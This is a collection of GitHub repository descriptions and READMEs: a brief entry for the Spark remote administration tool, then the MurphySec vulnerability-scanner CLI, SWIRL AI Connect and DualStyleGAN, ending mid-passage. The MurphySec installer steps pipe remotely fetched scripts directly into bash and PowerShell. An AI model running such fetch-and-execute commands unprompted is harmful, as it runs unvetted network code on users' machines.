License](./LICENSE)

✨Spark is a web-based, cross-platform and full-featured Remote Administration Tool (RAT) written in Go that allows you control all your devices anywhere. Spark是一个Go编写的，网页UI、跨平台以及多功能的远程控制和监控工具，你可以随时随地监控和控制所有设备。

golang,rat,remote-control,remote-administration-tool,remote-admin-tool,spark,server-monitoring,dashboard,go,remote-access-tool

murphysecurity/murphysec

[中文](README_ZH.md) | EN **MurphySec CLI** is used for detecting vulnerable dependencies from the command-line, and also can be integrated into your CI/CD pipeline. <p> <a href="https://www.oscs1024.com/cd/1522831757949284352"> <img src="https://www.oscs1024.com/platform/badge/murphysecurity/murphysec.svg"> </a> <a href="https://github.com/murphysecurity/murphysec"> <img src="https://badgen.net/badge/Github/murphysecurity/21D789?icon=github"> </a> <img src="https://img.shields.io/github/go-mod/go-version/murphysecurity/murphysec.svg?style=flat-square"> <a href="https://github.com/murphysecurity/murphysec/blob/master/LICENSE"> <img alt="GitHub" src="https://img.shields.io/github/license/murphysecurity/murphysec?style=flat-square"> </a> <img alt="GitHub last commit" src="https://img.shields.io/github/last-commit/murphysecurity/murphysec?style=flat-square"> <img alt="GitHub Repo stars" src="https://img.shields.io/github/stars/murphysecurity/murphysec?style=social"> </p> ## Features 1. Analyze dependencies being used by your project, including direct and indirect dependencies 2. Detect known vulnerabilities in project dependencies ### Screenshots - CLI scan result <img alt="cli output" src="./assets/cli.png" width="80%"> - scan result page <img alt="scan result" src="./assets/scan-result.png" width="80%"> <img alt="scan result" src="./assets/scan-detail-result.png" width="80%"> ## Table of Contents 1. [Supported languages](#supported-languages) 2. [How it works](#how-it-works) 3. [Working Scenarios](#working-scenarios) 4. [Getting Started](#getting-started) 5. [Command Introduction](#command-introduction) 6. [Communication](#communication) 7. [License](#license) ## Supported languages Currently supports Java, JavaScript, Golang. Other development languages will be gradually supported in the future. Want to learn more about language support? [check out our documentation](https://www.murphysec.com/docs/faqs/quick-start-for-beginners/programming-language-supported.html) ## How it works 1. MurphySec CLI obtains the dependency information of your project mainly by building the project or parsing the package manifest files. 1. The dependency information of the project will be uploaded to the server, and the dependencies with security issues in the project will be identified through the vulnerability knowledge base maintained by MurphySec.  > Note: MurphySec CLI will only send the dependencies and basic information of your project to server for identifying the dependencies with security issues, and will not upload any code snippets. ## Working Scenarios 1. To detect security issues in your code locally 2. To detect security issues in CI/CD pipeline [Learn how to integrate MurphySec CLI in Jenkins](https://www.murphysec.com/docs/faqs/integration/jenkins.html) ## Getting Started ### 1. Install MurphySec CLI Visit the [GitHub Releases](https://github.com/murphysecurity/murphysec/releases/latest) page to download the latest version of MurphySec CLI, or install it by running: #### Linux ``` wget -q https://s.murphysec.com/release/install.sh -O - | /bin/bash ``` #### OSX ``` curl -fsSL https://s.murphysec.com/release/install.sh | /bin/bash ``` #### WINDOWS ``` powershell -Command "iwr -useb https://s.murphysec.com/release/install.ps1 | iex" ``` ### 2. Get access token > MurphySec CLI requires an access token from your MurphySec account for authentication to work properly. [What is an access token?](https://www.murphysec.com/docs/faqs/project-management/access-token.html) Go to [MurphySec platform - Access Token](https://www.murphysec.com/console/set/token), click the copy button after the Token, then the access token is copied to the clipboard. ### 3. Authentication There are two authentication methods available: `Interactive authentication` and `Parameter authentication` #### Interactive authentication Execute `murphysec auth login` command and paste the access token. > If you need to change the access token, you can repeat this command to overwrite the old one. #### Parameter Authentication Specify the access token for authentication by adding the `--token` parameter ### 4. Detection To perform detection using the `murphysec scan` command, you can execute the following command. ```bash murphysec scan [your-project-path] ``` Available parameters - `--token`: Specify the access token - `--log-level`: Specify the log level to be printed on the command line output stream, no log will be printed by default, optional parameters are `silent`, `error`, `warn`, `info`, `debug` - `--json`: Specify the output of the result as json format, not showing the result details by default ### 5. View results MurphySec CLI does not show the result details by default, you can view the results in [MurphySec platform](https://www.murphysec.com/console). ## Command Introduction ### murphysec auth Mainly used for the management of certification ``` Usage: murphysec auth [command] Available Commands: login logout ``` ### murphysec scan Mainly used to run detections ``` Usage: murphysec scan DIR [flags] Flags: -h, --help help for scan --json json output Global Flags: --log-level string specify log level, must be silent|error|warn|info|debug --no-log-file do not write log file --server string specify server address --token string specify API token -v, --version show version and exit --write-log-to string specify log file path ``` ## Communication Contact our official WeChat account, and we'll add you into the group for communication. <img src="./assets/wechat.png" width="200px"> ## License [Apache 2.0](LICENSE)

An open source tool focused on software supply chain security. 墨菲安全专注于软件供应链安全，具备专业的软件成分分析（SCA）、漏洞检测、专业漏洞库。

security,scanner,dependency,vulnerability-detection,software-supply-chain,sca,software-composition-analysis,codescan

swirlai/swirl-search

<div align="center"> [](https://www.swirlaiconnect.com) <h1>SWIRL AI Connect</h1> #### Bring AI to the Data, not the Data to the AI. ### SWIRL AI Connect is an open-source AI platform designed to simplify the setup of AI infrastructure. It supports powerful tools like Retrieval-Augmented Generation (RAG), Analytics, and Co-Pilot, enhancing decision-making capabilities with AI for businesses. [Start Searching](#-try-swirl-now-in-docker) · [Slack](https://join.slack.com/t/swirlmetasearch/shared_invite/zt-1qk7q02eo-kpqFAbiZJGOdqgYVvR1sfw) · [Key Features](#-key-features) · [Contribute](#-contributing-to-swirl) · [Documentation](#-documentation) · [Connectors](#-list-of-connectors) <br/> [](https://opensource.org/license/apache-2-0/) [](https://github.com/swirlai/swirl-search/releases) [](https://www.swirlaiconnect.com) [](https://join.slack.com/t/swirlmetasearch/shared_invite/zt-1qk7q02eo-kpqFAbiZJGOdqgYVvR1sfw) [](https://github.com/swirlai/swirl-search/actions/workflows/test-build-pipeline.yml) </div> **Get your AI up and running in minutes, not months.** SWIRL AI Connect is an open-source AI Connect platform that streamlines the integration of advanced AI technologies into business operations. It supports powerful features like Retrieval-Augmented Generation (RAG), Analytics, and Co-Pilot, enabling enhanced decision-making with AI and boosting enterprise AI transformation. SWIRL operated without needing to move data into a vector database or undergo ETL processes. This approach not only enhances security but also speeds up the deployment. As a private cloud AI provider, SWIRL operates entirely within your private cloud infrastructure, running locally inside the firewall to ensure maximum data security and compliance. ### Why SWIRL AI Connect? - **Instant AI Deployment:** Swiftly deploy AI-driven enterprise software within your private cloud environment. SWIRL AI Connect integrates seamlessly, offering built-in security measures like data compliance and firewall protections, ensuring secure AI connectivity and granular access control. - **Easy and Fast Retrieval Augmented Generation(RAG):** SWIRL AI Connect simplifies the use of Retrieval-Augmented Generation (RAG). Our platform eliminates the need for external vector databases, LangChain, or LlamaIndex, making implementing AI RAG tools directly on your data easier. - **No Data Movement:** Operate directly on local data without the hassles of ETL processes, re-indexing, or data movement. SWIRL AI Connect enhances data security by allowing the data to remain in place and run securely inside your firewall. - **Boost Productivity with AI:** Enhance team efficiency and streamline workflows with advanced analytics and Co-Pilot features. SWIRL AI Connect helps you find information faster and make smarter decisions, accelerating enterprise AI transformation and boosting productivity. ### SWIRL AI Connect enables you to perform Unified Search and bring in a secure AI Co-Pilot. **SWIRL Unified Search**: SWIRL Unified Search offers a secure and powerful integrated search solution that enables users to query across all enterprise data sources seamlessly. This scalable unified search platform is designed for large enterprises, startups, and small teams, allowing for comprehensive searches across cloud services, on-premise systems, and data silos without compromising security. By implementing SWIRL Unified Search, businesses can enhance productivity, improve data accessibility, and make more informed decisions by harnessing the full potential of their data landscape. **SWIRL AI Co-Pilot**: SWIRL AI Co-Pilot acts as an intelligent assistant, leveraging advanced AI to provide context-aware insights and support to business users. Securely integrated within your enterprise systems, SWIRL AI Co-Pilot helps streamline workflows, automate tasks, and deliver personalized recommendations, significantly boosting operational efficiency. Users benefit from real-time decision support, reduced manual workload, and a more intuitive interaction with their data, enabling them to focus on strategic activities that drive business growth. <br/> ## SWIRL's Ranking in Action SWIRL leverages the specific context of your enterprise data to deliver highly relevant search results tailored to business needs. While general search engines like Google offer broad capabilities, SWIRL excels in the precise and secure handling of enterprise-specific queries, providing actionable insights that enhance decision-making and business efficiency. <a href="https://www.youtube.com/watch?v=Ypn4XvSJfcQ" target="_blank">  </a> ## SWIRL AI Connect Features   ## Based on SWIRL AI Connect  <br/> # 🔎 How Swirl Works SWIRL AI Connect offers a straightforward no-code setup to easily integrate AI capabilities into your enterprise. It connects directly to various enterprise and data applications—like Teams, Snowflake, Databricks, and Google Drive—enabling you to search, fetch, and build an AI-based knowledge base. Utilize SWIRL’s Co-Pilot and Retrieval-Augmented Generation (RAG) to enhance productivity without the need for extracting or indexing any data. 1. Connect: Easily link SWIRL AI Connect to your data sources—be it databases, document stores, or cloud services. Simply add your authentication details to start. 2. Query: Interact with SWIRL AI Connect using natural language. Ask questions or input commands to immediately harness the power of AI in your workflows. 3. Get Results: Benefit from SWIRL AI Connect’s advanced search capabilities combined with generative AI. It quickly delivers accurate and contextually augmented responses by distributing queries across connected platforms that have a search API—ranging from search engines and databases to noSQL engines and SaaS services. <br/> # 🔌 List of Connectors  **Full list of connectors is available [here](https://swirlaiconnect.com/connectors)**. **For Enterprise Support on Connectors** Contact the Swirl Team at: [support@swirl.today](mailto:support@swirl.today) <br/> # 🔥 Try Swirl Now In Docker ## Prerequisites - To run Swirl in Docker, you must have the latest [Docker app](https://docs.docker.com/get-docker/) for MacOS, Linux, or Windows installed and running locally. You can also watch the [**video tutorial**](https://www.youtube.com/watch?v=OogRYkfSki8) to get started. - Windows users must also install and configure either the WSL 2 or the Hyper-V backend, as outlined in the [System Requirements for installing Docker Desktop on Windows](https://docs.docker.com/desktop/install/windows-install/#system-requirements). ## Start Swirl in Docker > **Warning** > Make sure the Docker app is running before proceeding! - Download the YAML file: [https://raw.githubusercontent.com/swirlai/swirl-search/main/docker-compose.yaml](https://raw.githubusercontent.com/swirlai/swirl-search/main/docker-compose.yaml) ```bash curl https://raw.githubusercontent.com/swirlai/swirl-search/main/docker-compose.yaml -o docker-compose.yaml ``` - *Optional*: To enable Swirl's Real-Time Retrieval Augmented Generation (RAG) in Docker, run the following commands from the Console using a valid OpenAI API key: ``` shell export MSAL_CB_PORT=8000 export MSAL_HOST=localhost export OPENAI_API_KEY=‘<your-OpenAI-API-key>’ ``` :key: Check out [OpenAI's YouTube video](https://youtu.be/nafDyRsVnXU?si=YpvyaRvhX65vtBrb) if you don't have an OpenAI API Key. - In MacOS or Linux, run the following command from the Console: ```bash docker-compose pull && docker-compose up ``` - In Windows, run the following command from PowerShell: ```bash docker compose up ``` After a few minutes the following or similar should appear: <img src="https://docs.swirl.today/images/swirl_docker_1.png" height="70%" width="90%"> - Open this URL with a browser: <http://localhost:8000> (or <http://localhost:8000/galaxy>) - If the search page appears, click `Log Out` at the top, right. The Swirl login page will appear. - Enter the username `admin` and password `password`, then click `Login`. - Enter a search in the search box and press the `Search` button. Ranked results appear in just a few seconds: <img src="https://docs.swirl.today/images/galaxy_ui_2.png" height="70%" weight="70%"> - To view the raw JSON, open <http://localhost:8000/swirl/search/> The most recent Search object will be displayed at the top. Click on the `result_url` link to view the full JSON Response. ## Notes 📝 > **Warning** > The Docker version of Swirl *does not* retain any data or configuration when shut down! :key: Swirl includes five (5) Google Programmable Search Engines (PSEs) to get you up and running right away. The credentials for these are shared with the Swirl Community. :key: Using Swirl with Microsoft 365 requires installation and approval by an authorized company Administrator. For more information, please review the [M365 Guide](https://docs.swirl.today/M365-Guide.html) or [contact us](mailto:hello@swirl.today). ## Next Steps 👇 - Check out the details of our [latest release](https://github.com/swirlai/swirl-search/releases)! - Head over to the [Quick Start Guide](https://docs.swirl.today/Quick-Start.html) and install Swirl locally! ## Video Tutorial Guide to Run SWIRL in Docker in 60 seconds. <a href="https://www.youtube.com/watch?v=Ypn4XvSJfcQ" target="_blank"> <img src="docs/images/SWIRL_in_docker_guide.jpg" height="200px" width="400px"/> </a> <br/> # 🌟 Key Features | ✦ | Feature | |:-----:|:--------| | 📌 | [Microsoft 365 integration and OAUTH2 support](https://docs.swirl.today/M365-Guide.html) | | 🔍 | [SearchProvider configurations](https://github.com/swirlai/swirl-search/tree/main/SearchProviders) for all included Connectors. They can be [organized with the active, default and tags properties](https://docs.swirl.today/User-Guide.html#organizing-searchproviders-with-active-default-and-tags). | | ✏️ | [Adaptation of the query for each provider](https://docs.swirl.today/User-Guide.html#search-syntax) such as rewriting `NOT term` to `-term`, removing NOTted terms from providers that don't support NOT, and passing down the AND, + and OR operators. | | ⏳ | [Synchronous or asynchronous search federation](https://docs.swirl.today/Developer-Guide.html#architecture) via [APIs](http://localhost:8000/swirl/swagger-ui/) | | 🛎️ | [Optional subscribe feature](https://docs.swirl.today/Developer-Guide.html#subscribe-to-a-search) to continuously monitor any search for new results | | 🛠️ | Pipelining of [Processor](https://docs.swirl.today/Developer-Guide.html#develop-new-processors) stages for real-time adaptation and transformation of queries, responses and results | | 🗄️ | [Results stored](https://docs.swirl.today/Developer-Reference.html#result-objects) in SQLite3 or PostgreSQL for post-processing, consumption and/or analytics | | ➡️ | Built-in [Query Transformation](https://docs.swirl.today/Developer-Guide.html#using-query-transformations) support, including re-writing and replacement | | 📖 | [Matching on word stems](https://docs.swirl.today/Developer-Reference.html#cosinerelevancypostresultprocessor) and [handling of stopwords](https://docs.swirl.today/Developer-Guide.html#configure-stopwords-language) via NLTK | | 🚫 | [Duplicate detection](https://docs.swirl.today/Developer-Guide.html#detect-and-remove-duplicate-results) on field or by configurable Cosine Similarity threshold | | 🔄 | Re-ranking of unified results [using Cosine Vector Similarity](https://docs.swirl.today/Developer-Reference.html#cosinerelevancypostresultprocessor) based on [spaCy](https://spacy.io/)'s large language model and [NLTK](https://www.nltk.org/) | | 🎚️ | [Result mixers](https://docs.swirl.today/Developer-Reference.html#mixers-1) order results by relevancy, date or round-robin (stack) format, with optional filtering of just new items in subscribe mode | | 📄 | Page through all results requested, re-run, re-score and update searches using URLs provided with each result set | | 📁 | [Sample data sets](https://github.com/swirlai/swirl-search/tree/main/Data) for use with SQLite3 and PostgreSQL | | ✒️ | [Optional spell correction](https://docs.swirl.today/Developer-Guide.html#add-spelling-correction) using [TextBlob](https://textblob.readthedocs.io/en/dev/quickstart.html#spelling-correction) | | ⌛ | [Optional search/result expiration service](https://docs.swirl.today/Admin-Guide.html#search-expiration-service) to limit storage use | | 🔌 | Easily extensible [Connector](https://github.com/swirlai/swirl-search/tree/main/swirl/connectors) and [Mixer](https://github.com/swirlai/swirl-search/tree/main/swirl/mixers) objects | <br/> # 👩‍💻 Contributing to Swirl **Do you have a brilliant idea or improvement for SWIRL?** We're all ears, and thrilled you're here to help! 🔗 **Get Started in 3 Easy Steps**: 1. **Connect with Fellow Enthusiasts** - Jump into the [Swirl Slack Community](https://join.slack.com/t/swirlmetasearch/shared_invite/zt-1qk7q02eo-kpqFAbiZJGOdqgYVvR1sfw) and share your ideas. You'll find a welcoming group of Swirl enthusiasts and team members eager to assist and collaborate. 2. **Branch It Out** - Always branch off from the `develop` branch with a descriptive name that encapsulates your idea or fix. 3. **Start Your Contribution** - Ready to get your hands dirty? Make sure all contributions come through a GitHub pull request. We roughly follow the [Gitflow branching model](https://nvie.com/posts/a-successful-git-branching-model/), so all changes destined for the next release should be made to the `develop` branch. 📚 **First time contributing on GitHub?** No worries, the [GitHub documentation](https://docs.github.com/en/get-started/quickstart/contributing-to-projects) has you covered with a great guide on contributing to projects. 💡 Every contribution, big or small, makes a difference. Join us in shaping the future of Swirl! <br/> # ☁ Use the Swirl Cloud For information about Swirl as a managed service, please [contact us](mailto:hello@swirl.today)! <br/> # 📖 Documentation [Overview](https://docs.swirl.today/) | [Quick Start](https://docs.swirl.today/Quick-Start) | [User Guide](https://docs.swirl.today/User-Guide) | [Admin Guide](https://docs.swirl.today/Admin-Guide) | [M365 Guide](https://docs.swirl.today/M365-Guide) | [Developer Guide](https://docs.swirl.today/Developer-Guide) | [Developer Reference](https://docs.swirl.today/Developer-Reference) | [AI Guide](https://docs.swirl.today/AI-Guide) <br/> # 👷‍♂️ Need Help? We're Here for You! At Swirl, every user matters to us. Whether you're a beginner finding your way or an expert with feedback, we're here to support, listen, and help. Don't hesitate to reach out to us. - **Join the SWIRL Community Slack:** Dive into our [SWIRL Community on Slack](https://join.slack.com/t/swirlmetasearch/shared_invite/zt-1qk7q02eo-kpqFAbiZJGOdqgYVvR1sfw) - to discuss anything related to SWIRL. - **Direct Support:** For any questions, suggestions, or even a simple hello, drop us an email at [support@swirl.today](mailto:support@swirl.today). We cherish every message and promise to get back to you promptly! - **Request A Connector (Enterprise Support)** Want to see a new connector quickly and fast. Contact the Swirl Team at: [support@swirl.today](mailto:support@swirl.today)

SWIRL AI Connect: AI infrastructure software that powers your Search & Retrieval Augmented Generation (RAG) applications. Simplify and enhance your AI pipelines with seamless integration of large language models (LLMs) and data sources.

search,search-engine,federated-query,federated-search,ai-search,bigquery,large-language-models,relevancy,metasearch,django

williamyang1991/DualStyleGAN

# DualStyleGAN - Official PyTorch Implementation <img src="./doc_images/overview.jpg" width="96%" height="96%"> This repository provides the official PyTorch implementation for the following paper: **Pastiche Master: Exemplar-Based High-Resolution Portrait Style Transfer**<br> [Shuai Yang](https://williamyang1991.github.io/), [Liming Jiang](https://liming-jiang.com/), [Ziwei Liu](https://liuziwei7.github.io/) and [Chen Change Loy](https://www.mmlab-ntu.com/person/ccloy/)<br> In CVPR 2022.<br> [**Project Page**](https://www.mmlab-ntu.com/project/dualstylegan/) | [**Paper**](https://arxiv.org/abs/2203.13248) | [**Supplementary Video**](https://www.youtube.com/watch?v=scZTu77jixI) > **Abstract:** *Recent studies on StyleGAN show high performance on artistic portrait generation by transfer learning with limited data. In this paper, we explore more challenging exemplar-based high-resolution portrait style transfer by introducing a novel <b>DualStyleGAN</b> with flexible control of dual styles of the original face domain and the extended artistic portrait domain. Different from StyleGAN, DualStyleGAN provides a natural way of style transfer by characterizing the content and style of a portrait with an <b>intrinsic style path</b> and a new <b>extrinsic style path</b>, respectively. The delicately designed extrinsic style path enables our model to modulate both the color and complex structural styles hierarchically to precisely pastiche the style example. Furthermore, a novel progressive fine-tuning scheme is introduced to smoothly transform the generative space of the model to the target domain, even with the above modifications on the network architecture. Experiments demonstrate the superiority of DualStyleGAN over state-of-the-art methods in high-quality portrait style transfer and flexible style control.* **Features**:<br> **High-Resolution** (1024) | **Training Data-Efficient** (~200 Images) | **Exemplar-Based Color and Structure Transfer** ## Updates - [02/2023] Add `--wplus` in style_transfer.py to use original w+ pSp encoder rather than z+. - [09/2022] Pre-trained models in three new [styles](#combine-dualstylegan-with-state-of-the-art-diffusion-model) (feat. StableDiffusion) are released. - [07/2022] Source code license is updated. - [03/2022] Paper and supplementary video are released. - [03/2022] Web demo is created. - [03/2022] Code is released. - [03/2022] This website is created. ## Web Demo Integrated into [Huggingface Spaces 🤗](https://huggingface.co/spaces) using [Gradio](https://github.com/gradio-app/gradio). Try out the Web Demo: [](https://huggingface.co/spaces/hysts/DualStyleGAN) or [](https://huggingface.co/spaces/Gradio-Blocks/DualStyleGAN) ## Installation **Clone this repo:** ```bash git clone https://github.com/williamyang1991/DualStyleGAN.git cd DualStyleGAN ``` **Dependencies:** All dependencies for defining the environment are provided in `environment/dualstylegan_env.yaml`. We recommend running this repository using [Anaconda](https://docs.anaconda.com/anaconda/install/): ```bash conda env create -f ./environment/dualstylegan_env.yaml ``` We use CUDA 10.1 so it will install PyTorch 1.7.1 (corresponding to [Line 22](https://github.com/williamyang1991/DualStyleGAN/blob/main/environment/dualstylegan_env.yaml#L22), [Line 25](https://github.com/williamyang1991/DualStyleGAN/blob/main/environment/dualstylegan_env.yaml#L25), [Line 26](https://github.com/williamyang1991/DualStyleGAN/blob/main/environment/dualstylegan_env.yaml#L26) of `dualstylegan_env.yaml`). Please install PyTorch that matches your own CUDA version following [https://pytorch.org/](https://pytorch.org/). ☞ Install on Windows: [here](https://github.com/williamyang1991/VToonify/issues/50#issuecomment-1443061101) and [here](https://github.com/williamyang1991/VToonify/issues/38#issuecomment-1442146800) ## (1) Dataset Preparation Cartoon, Caricature and Anime datasets can be downloaded from their official pages. We also provide the script to build new datasets. | Dataset | Description | | :--- | :--- | | [Cartoon](https://mega.nz/file/HslSXS4a#7UBanJTjJqUl_2Z-JmAsreQYiJUKC-8UlZDR0rUsarw) | 317 cartoon face images from [Toonify](https://github.com/justinpinkney/toonify). | | Caricature | 199 images from [WebCaricature](https://cs.nju.edu.cn/rl/WebCaricature.htm). Please refer to [dataset preparation](./data_preparation/readme.md#caricature-dataset) for more details. | | Anime | 174 images from [Danbooru Portraits](https://www.gwern.net/Crops#danbooru2019-portraits). Please refer to [dataset preparation](./data_preparation/readme.md#anime-dataset) for more details. | | [Fantasy](https://drive.google.com/drive/folders/1YjTuuy43jH4lRZU3tA6ZuJjNSs9a5h8n?usp=sharing) | 137 fantasy face images generated by [StableDiffusion](https://github.com/lowfuel/progrock-stable). | | [Illustration](https://drive.google.com/drive/folders/1eQTzlX13kUzWKLlAQjaTXQmR7ARpXdIM?usp=sharing) | 156 illustration face images generated by [StableDiffusion](https://github.com/lowfuel/progrock-stable). | | [Impasto](https://drive.google.com/drive/folders/1VcaMdaqHmJ4BDVK4TxNpumx3C51_2XP_?usp=sharing) | 120 impasto face images generated by [StableDiffusion](https://github.com/lowfuel/progrock-stable). | | Other styles | Please refer to [dataset preparation](./data_preparation/readme.md#build-your-own-dataset) for the way of building new datasets. | <br/> ## (2) Inference for Style Transfer and Artistic Portrait Generation ### Inference Notebook <a href="http://colab.research.google.com/github/williamyang1991/DualStyleGAN/blob/master/notebooks/inference_playground.ipynb"><img src="https://colab.research.google.com/assets/colab-badge.svg" height=22.5></a> To help users get started, we provide a Jupyter notebook found in `./notebooks/inference_playground.ipynb` that allows one to visualize the performance of DualStyleGAN. The notebook will download the necessary pretrained models and run inference on the images found in `./data/`. If no GPU is available, you may refer to [Inference on CPU](./model/stylegan/op_cpu#readme), and set `device = 'cpu'` in the notebook. ### Pretrained Models Pretrained models can be downloaded from [Google Drive](https://drive.google.com/drive/folders/1GZQ6Gs5AzJq9lUL-ldIQexi0JYPKNy8b?usp=sharing) or [Baidu Cloud](https://pan.baidu.com/s/1sOpPszHfHSgFsgw47S6aAA ) (access code: cvpr): | Model | Description | | :--- | :--- | | [encoder](https://drive.google.com/file/d/1NgI4mPkboYvYw3MWcdUaQhkr0OWgs9ej/view?usp=sharing) | Pixel2style2pixel encoder that embeds FFHQ images into StyleGAN2 Z+ latent code | | [encoder_wplus](https://drive.google.com/file/d/1IVMWKfF8Yp41tsoLLZ8edwjVg_tkjmqQ/view?usp=share_link) | Original Pixel2style2pixel encoder that embeds FFHQ images into StyleGAN2 W+ latent code | | [cartoon](https://drive.google.com/drive/folders/1xPo8PcbMXzcUyvwe5liJrfbA5yx4OF1j?usp=sharing) | DualStyleGAN and sampling models trained on Cartoon dataset, 317 (refined) extrinsic style codes | | [caricature](https://drive.google.com/drive/folders/1BwLXWkSyWDApblBPvaHKsRCTqnhiHxUZ?usp=sharing) | DualStyleGAN and sampling models trained on Caricature dataset, 199 (refined) extrinsic style codes | | [anime](https://drive.google.com/drive/folders/1YvFj33Bfum4YuBeqNNCYLfiBrD4tpzg7?usp=sharing) | DualStyleGAN and sampling models trained on Anime dataset, 174 (refined) extrinsic style codes | | [arcane](https://drive.google.com/drive/folders/1-MYwaEQthhAJ_ScWVb0LOQiVkKeSzpBm?usp=sharing) | DualStyleGAN and sampling models trained on Arcane dataset, 100 extrinsic style codes | | [comic](https://drive.google.com/drive/folders/1qC2onFGs2R-XCXRQTP_yyNbY1fT0BdZG?usp=sharing) | DualStyleGAN and sampling models trained on Comic dataset, 101 extrinsic style codes | | [pixar](https://drive.google.com/drive/folders/1ve4P8Yb4EZ9g_sRy_RCw3N74p46tNpeW?usp=sharing) | DualStyleGAN and sampling models trained on Pixar dataset, 122 extrinsic style codes | | [slamdunk](https://drive.google.com/drive/folders/1X345yn_YbMEHBcj7K91O-oQZ2YjVpAcI?usp=sharing) | DualStyleGAN and sampling models trained on Slamdunk dataset, 120 extrinsic style codes | | [fantasy](https://drive.google.com/drive/folders/1JmimgKR_Xo-lR8n35e_V9wEicSUaJqMz?usp=sharing) | DualStyleGAN models trained on Fantasy dataset, 137 extrinsic style codes | | [illustration](https://drive.google.com/drive/folders/1ESQBW5rmXqWss3yTjIUOr8Di7R_er-o8?usp=sharing) | DualStyleGAN models trained on Illustration dataset, 156 extrinsic style codes | | [impasto](https://drive.google.com/drive/folders/1d0Lb-B7ozphXLywRjVLXQI0PTC5PESfn?usp=sharing) | DualStyleGAN models trained on Impasto dataset, 120 extrinsic style codes | The saved checkpoints are under the following folder structure: ``` checkpoint |--encoder.pt % Pixel2style2pixel model |--encoder_wplus.pt % Pixel2style2pixel model (optional) |--cartoon |--generator.pt % DualStyleGAN model |--sampler.pt % The extrinsic style code sampling model |--exstyle_code.npy % extrinsic style codes of Cartoon dataset |--refined_exstyle_code.npy % refined extrinsic style codes of Cartoon dataset |--caricature % the same files as in Cartoon ... ``` ### Exemplar-Based Style Transfer Transfer the style of a default Cartoon image onto a default face: ```python python style_transfer.py ``` The result `cartoon_transfer_53_081680.jpg` is saved in the folder `.\output\`, where `53` is the id of the style image in the Cartoon dataset, `081680` is the name of the content face image. An corresponding overview image `cartoon_transfer_53_081680_overview.jpg` is additionally saved to illustrate the input content image, the encoded content image, the style image (* the style image will be shown only if it is in your folder), and the result: <img src="./output/cartoon_transfer_53_081680_overview.jpg"> Specify the style image with `--style` and `--style_id` (find the mapping between id and filename [here](./data_preparation/id_filename_list.txt), find the visual mapping between id and the style image [here](./doc_images)). Specify the filename of the saved images with `--name`. Specify the weight to adjust the degree of style with `--weight`. The following script generates the style transfer results in the teaser of the paper. ```python python style_transfer.py python style_transfer.py --style cartoon --style_id 10 python style_transfer.py --style caricature --name caricature_transfer --style_id 0 --weight 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 python style_transfer.py --style caricature --name caricature_transfer --style_id 187 --weight 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 python style_transfer.py --style anime --name anime_transfer --style_id 17 --weight 0 0 0 0 0.75 0.75 0.75 1 1 1 1 1 1 1 1 1 1 1 python style_transfer.py --style anime --name anime_transfer --style_id 48 --weight 0 0 0 0 0.75 0.75 0.75 1 1 1 1 1 1 1 1 1 1 1 ``` Specify the content image with `--content`. If the content image is not well aligned with FFHQ, use `--align_face`. For preserving the color style of the content image, use `--preserve_color` or set the last 11 elements of `--weight` to all zeros. ```python python style_transfer.py --content ./data/content/unsplash-rDEOVtE7vOs.jpg --align_face --preserve_color \ --style arcane --name arcane_transfer --style_id 13 \ --weight 0.6 0.6 0.6 0.6 0.6 0.6 0.6 0.6 0.6 0.6 0.6 1 1 1 1 1 1 1 ``` <img src="https://user-images.githubusercontent.com/18130694/159124661-fbb58871-7c7b-449f-95b5-83e44f5973e8.jpg" width="32%"> → <img src="./output/arcane_transfer_13_unsplash-rDEOVtE7vOs_overview.jpg" width="64%"> Specify `--wplus` to use the original pSp encoder to extract the W+ intrinsic style code, which may better preserve the face features of the content image. **Remarks**: Our trained pSp encoder on Z+/W+ space cannot perfectly encode the content image. If the style transfer result more consistent with the content image is desired, one may use latent optimization to better fit the content image or using other StyleGAN encoders (as discussed in https://github.com/williamyang1991/DualStyleGAN/issues/11 and https://github.com/williamyang1991/DualStyleGAN/issues/29). More options can be found via `python style_transfer.py -h`. ### Artistic Portrait Generation Generate random Cartoon face images (Results are saved in the `./output/` folder): ```python python generate.py ``` Specify the style type with `--style` and the filename of the saved images with `--name`: ```python python generate.py --style arcane --name arcane_generate ``` Specify the weight to adjust the degree of style with `--weight`. Keep the intrinsic style code, extrinsic color code or extrinsic structure code fixed using `--fix_content`, `--fix_color` and `--fix_structure`, respectively. ```python python generate.py --style caricature --name caricature_generate --weight 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 --fix_content ``` More options can be found via `python generate.py -h`. <br/> ## (3) Training DualStyleGAN Download the supporting models to the `./checkpoint/` folder: | Model | Description | | :--- | :--- | | [stylegan2-ffhq-config-f.pt](https://drive.google.com/file/d/1EM87UquaoQmk17Q8d5kYIAHqu0dkYqdT/view) | StyleGAN model trained on FFHQ taken from [rosinality](https://github.com/rosinality/stylegan2-pytorch). | | [model_ir_se50.pth](https://drive.google.com/file/d/1KW7bjndL3QG3sxBbZxreGHigcCCpsDgn/view?usp=sharing) | Pretrained IR-SE50 model taken from [TreB1eN](https://github.com/TreB1eN/InsightFace_Pytorch) for ID loss. | ### Facial Destylization **Step 1: Prepare data.** Prepare the dataset in `./data/DATASET_NAME/images/train/`. First create lmdb datasets: ```python python ./model/stylegan/prepare_data.py --out LMDB_PATH --n_worker N_WORKER --size SIZE1,SIZE2,SIZE3,... DATASET_PATH ``` For example, download 317 Cartoon images into `./data/cartoon/images/train/` and run > python ./model/stylegan/prepare_data.py --out ./data/cartoon/lmdb/ --n_worker 4 --size 1024 ./data/cartoon/images/ **Step 2: Fine-tune StyleGAN.** Fine-tune StyleGAN in distributed settings: ```python python -m torch.distributed.launch --nproc_per_node=N_GPU --master_port=PORT finetune_stylegan.py --batch BATCH_SIZE \ --ckpt FFHQ_MODEL_PATH --iter ITERATIONS --style DATASET_NAME --augment LMDB_PATH ``` Take the cartoon dataset for example, run (batch size of 8\*4=32 is recommended) > python -m torch.distributed.launch --nproc_per_node=8 --master_port=8765 finetune_stylegan.py --iter 600 --batch 4 --ckpt ./checkpoint/stylegan2-ffhq-config-f.pt --style cartoon --augment ./data/cartoon/lmdb/ The fine-tuned model can be found in `./checkpoint/cartoon/finetune-000600.pt`. Intermediate results are saved in `./log/cartoon/`. **Step 3: Destylize artistic portraits.** ```python python destylize.py --model_name FINETUNED_MODEL_NAME --batch BATCH_SIZE --iter ITERATIONS DATASET_NAME ``` Take the cartoon dataset for example, run: > python destylize.py --model_name finetune-000600.pt --batch 1 --iter 300 cartoon The intrinsic and extrinsic style codes 